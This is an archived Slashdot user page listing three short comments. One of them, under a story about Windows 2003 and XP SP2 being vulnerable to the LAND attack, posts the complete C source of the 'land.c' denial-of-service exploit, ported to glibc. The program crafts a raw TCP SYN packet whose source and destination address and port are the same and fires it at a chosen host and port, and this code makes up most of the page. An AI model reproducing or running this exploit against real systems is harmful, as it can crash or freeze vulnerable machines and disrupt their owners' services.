Slashdot Mirror


User: dandu

dandu's activity in the archive.

Stories
0
Comments
3
First seen
Last seen
Profile
(view on slashdot.org)

Comments · 3

  1. here it goes again on 2016 Bug Hits Text Messages, Payment Processing · · Score: 1

    anyone remember the zune mass suicide? http://it.slashdot.org/article.pl?sid=08/12/31/1428254

    billy really needs to get back to basics

  2. what about OTRS... on Ticket Tracking and Customer Management? · · Score: 1

    what about OTRS... http://otrs.org/ ?

  3. Re:Only win ? on Windows 2003 and XP SP2 Vulnerable To LAND Attack · · Score: 1

    that source code is not so portable, i belive it only works with glibc pre 2.x or whatever version was the latest one 8 years ago (LOL), so here is the same pice of code ported to the glibc :

    //ported by dandu
    #include <stdio.h>
    #include <netdb.h>
    #include <arpa/inet.h>
    #include <netinet/in.h>
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <netinet/ip.h>
    #include <netinet/tcp.h>
    #include <netinet/in.h>
    #define TH_SYN 0x02
    #define IP_TCP IPPROTO_TCP
    struct pseudohdr
    {
    struct in_addr saddr;
    struct in_addr daddr;
    u_char zero;
    u_char protocol;
    u_short length;
    struct tcphdr tcpheader;
    };
    u_short checksum(u_short * data,u_short length)
    {
    register long value;
    u_short i;

    for(i=0;i<(length>>1);i++)
    value+=data[i];

    if((length&1)==1)
    value+=(data[i]<<8);

    value=(value&65535)+(value>>16);

    return(~value);
    }
    int main(int argc,char * * argv)
    {
    struct sockaddr_in sin;
    struct hostent * hoste;
    int sock;
    char buffer[40];
    struct iphdr * ipheader=(struct iphdr *) buffer;
    struct tcphdr * tcpheader=(struct tcphdr *) (buffer+sizeof(struct iphdr));
    struct pseudohdr pseudoheader;
    fprintf(stderr,"land.c by m3lt, FLC\n");
    if(argc<3)
    {
    fprintf(stderr,"usage: %s IP port\n",argv[0]);
    return(-1);
    }
    bzero(&sin,sizeof(struct sockaddr_in));
    sin.sin_family=AF_INET;
    if((hoste=gethostbyname(argv[1]))!=NULL)
    bcopy(hoste->h_addr,&sin.sin_addr,hoste->h_length) ;
    else if((sin.sin_addr.s_addr=inet_addr(argv[1]))==-1)
    {
    fprintf(stderr,"unknown host %s\n",argv[1]);
    return(-1);
    }
    if((sin.sin_port=htons(atoi(argv[2])))==0)
    {
    fprintf(stderr,"unknown port %s\n",argv[2]);
    return(-1);
    }
    if((sock=socket(AF_INET,SOCK_RAW,255))==-1)
    {
    fprintf(stderr,"couldn't allocate raw socket\n");
    return(-1);
    }
    bzero(&buffer,sizeof(struct iphdr)+sizeof(struct tcphdr));
    ipheader->version=4;
    ipheader->ihl=sizeof(struct iphdr)/4;
    ipheader->tot_len=htons(sizeof(struct iphdr)+sizeof(struct tcphdr));
    ipheader->id=htons(0xF1C);
    ipheader->ttl=255;
    ipheader->protocol=IP_TCP;
    ipheader->saddr=sin.sin_addr.s_addr;
    ipheader->daddr=sin.sin_addr.s_addr;
    tcpheader->source=sin.sin_port;
    tcpheader->dest=sin.sin_port;
    tcpheader->seq=htonl(0xF1C);
    tcpheader->syn=1;
    tcpheader->doff=sizeof(struct tcphdr)/4;
    tcpheader->window=htons(2048);
    bzero(&pseudoheader,12+sizeof(struct tcphdr));
    pseudoheader.saddr.s_addr=sin.sin_addr.s_addr;
    pseudoheader.daddr.s_addr=sin.sin_addr.s_addr;
    pseudoheader.protocol=6;
    pseudoheader.length=htons(sizeof(struct tcphdr));
    bcopy((char *) tcpheader,(char *) &pseudoheader.tcpheader,sizeof(struct tcphdr));
    tcpheader->check=checksum((u_short *) &pseudoheader,12+sizeof(struct tcphdr));
    if(sendto(sock,buffer,sizeof(struct iphdr)+sizeof(struct tcphdr),0,(struct sockaddr *) &sin,sizeof(struct sockaddr_in))==-1)
    {
    fprintf(stderr,"couldn't send packet\n");
    return(-1);
    }
    fprintf(stderr,"%s:%s landed\n",argv[1],argv[2]);
    close(sock);
    return(0);
    }